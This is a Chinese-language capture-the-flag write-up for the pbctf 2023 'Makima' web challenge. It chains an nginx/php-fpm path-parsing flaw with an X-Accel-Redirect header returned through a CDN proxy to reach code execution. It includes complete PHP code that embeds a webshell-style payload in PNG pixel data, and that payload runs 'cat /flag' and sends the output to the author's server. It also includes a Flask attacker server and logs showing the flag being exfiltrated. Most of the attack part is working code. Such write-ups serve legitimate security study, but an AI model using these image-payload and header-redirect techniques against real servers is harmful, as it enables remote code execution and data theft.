pbctf 2023 Makima Makima simps check in here: http://makima.chal.perfect.blue/
比赛的时候的思考 简单看了下代码,一个nginx php主服务,python做cdn
逻辑是:
php接受url fpm怎么打
url发送给cdn
cdn发送网络请求 r = requests.get(url, stream=True)
获取图像返回给php 设置返回头除了:Date,Server??可以设置返回头可以干什么
php保存 最近爆了个 ImageMagick 漏洞 试了一下不能直接打
赛后复现 参考这位师傅的wp:https://github.com/Arc-blroth/ctf-writeups/blob/master/2023/pb/makima.md
nginx + php-fpm 导致解析漏洞 nginx配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 server { listen 8080 default_server; listen [::]:8080 default_server; root /var/www/html; server_name _; location / { index index.php; } location ~ \.php$ { internal; # 只能由内部请求访问 include fastcgi_params; fastcgi_intercept_errors on ; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_pass unix:/run/php/php7.4-fpm.sock; } location /cdn/ { allow 127.0.0.1 /32 ; deny all; proxy_pass http://cdn; } }
internal;
: 声明这个 location 只能在内部使用,不能被外部直接访问。
www.conf
在 PHP-FPM 中,www.conf 是默认的 FPM 池配置文件,用于控制 PHP-FPM 进程池的行为。去掉注释后的配置如下
1 2 3 4 5 6 7 8 9 10 11 12 [www] # 进程池名称 user = www-data # PHP-FPM 进程所属的用户 group = www-data # PHP-FPM 进程所属的用户组 listen = /run/php/php7.4-fpm.sock # PHP-FPM 进程监听的 Unix 套接字文件路径 listen.owner = www-data # 监听套接字文件的所有者 listen.group = www-data # 监听套接字文件的所有者组 pm = dynamic # PHP-FPM 进程管理模式,动态模式 pm.max_children = 5 # 进程池最多可以创建的工作进程数 pm.start_servers = 2 # PHP-FPM 启动时创建的工作进程数 pm.min_spare_servers = 1 # 进程池中保持最少空闲工作进程数 pm.max_spare_servers = 3 # 进程池中保持最多空闲工作进程数 security.limit_extensions = # 安全限制,只允许执行具有特定扩展名的 PHP 脚本
security.limit_extensions
是一个 PHP-FPM 的安全限制,它可以限制 PHP-FPM 执行脚本的扩展名。设置该选项可以帮助防止恶意脚本和攻击,因为一些恶意脚本会使用伪造的扩展名来绕过服务器的安全机制,执行恶意代码。
https://nealpoole.com/blog/2011/04/setting-up-php-fastcgi-and-nginx-dont-trust-the-tutorials-check-your-configuration/
由于nginx的设置和php-fpm的默认配置导致的解析漏洞使得:上传一个1.jpg文件 然后访问1.jpg/1.php 1.jpg会被当做php文件执行
构建恶意图片 https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php $_payload = '<?=file_get_contents("http://my_vps:8083/image.png?res=".`cat /flag`)?>' ;$output = 'rce.png' ; while (strlen($_payload ) % 3 != 0 ) { $_payload .=" " ; }$_pay_len =strlen($_payload );if ($_pay_len > 256 *3 ){ echo "FATAL: The payload is too long. Exiting..." ; exit (); } if ($_pay_len %3 != 0 ){ echo "FATAL: The payload isn't divisible by 3. Exiting..." ; exit (); } $width =$_pay_len /3 ;$height =20 ;$im = imagecreate($width , $height ); $_hex =unpack('H*' ,$_payload );$_chunks =str_split($_hex [1 ], 6 ); for ($i =0 ; $i < count($_chunks ); $i ++){ $_color_chunks =str_split($_chunks [$i ], 2 ); $color =imagecolorallocate($im , hexdec($_color_chunks [0 ]), hexdec($_color_chunks [1 ]),hexdec($_color_chunks [2 ])); imagesetpixel($im ,$i ,1 ,$color ); } imagepng($im ,$output ); ?>
这样就能使得被服务端处理后的图片中仍然有 构建的php代码
nginx internal 的访问 这里的内部访问是nginx发起的请求,详细参考nginx文档
https://nginx.org/en/docs/http/ngx_http_core_module.html#internal
无法控制nginx的配置文件,关注到里面的 requests redirected by the “X-Accel-Redirect” response header field from an upstream server;
But after reading a bit more of the (surprisingly little documentation) on X-Accel-Redirect
, I discovered that NGINX treats *_pass
servers as upstream servers for the purpose of X-Accel-Redirect
.
在cdn中我们可以控制任意响应头
1 2 3 4 5 6 7 8 9 10 11 12 13 @app.route("/cdn/<path:url>" ) def cdn (url ): mimes = ["image/png" , "image/jpeg" , "image/gif" , "image/webp" ] r = requests.get(url, stream=True ) if r.headers["Content-Type" ] not in mimes: print("BAD MIME" ) return "????" , 400 img_resp = make_response(r.raw.read(), 200 ) for header in r.headers: if header == "Date" or header == "Server" : continue img_resp.headers[header] = r.headers[header] return img_resp
现在我们构建一个evilserver
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from flask import Flask, send_file, make_responseapp = Flask(__name__) @app.route("/image.png" ) def fakeserver (): response = make_response(send_file("rce.png" ,mimetype='image/png' )) response.headers['Content-Type' ] = 'image/png' return response @app.route("/image2.png" ) def rceserver (): response = make_response() response.headers['Content-Type' ] = 'image/png' response.headers['X-Accel-Redirect' ] = '/uploads/be82c42dac96a.png/1.php' return response if __name__ == "__main__" : app.run(debug=True , host="0.0.0.0" ,port=8083 )
然后先上传图片:url=http://my_vps:8083/image.png
修改 /image2.png路由中的 response.headers[‘X-Accel-Redirect’] 对应部分为上传图片路径
再RCE:url=http://my_vps:8083/image2.png
1 2 3 4 5 6 7 34.67.131.140 - - [21/Feb/2023 23:03:08] "GET /image.png HTTP/1.1" 200 - * Detected change in '/home/ubuntu/ctf/pbctf/fakeserver/app.py' , reloading * Restarting with stat * Debugger is active! * Debugger PIN: 914-115-437 34.67.131.140 - - [21/Feb/2023 23:03:25] "GET /image2.png HTTP/1.1" 200 - 34.67.131.140 - - [21/Feb/2023 23:03:26] "GET /image.png?res=pbctf{actually_power_is_the_better_character} HTTP/1.0" 200 -
总结 发现解析漏洞 -> 上传一个图片马 -> 通过cdn internal访问 -> RCE
The Mindful Zone 最新版的 zoneminder 0day
apache 2.4.29 解析漏洞
git-ls-api ruby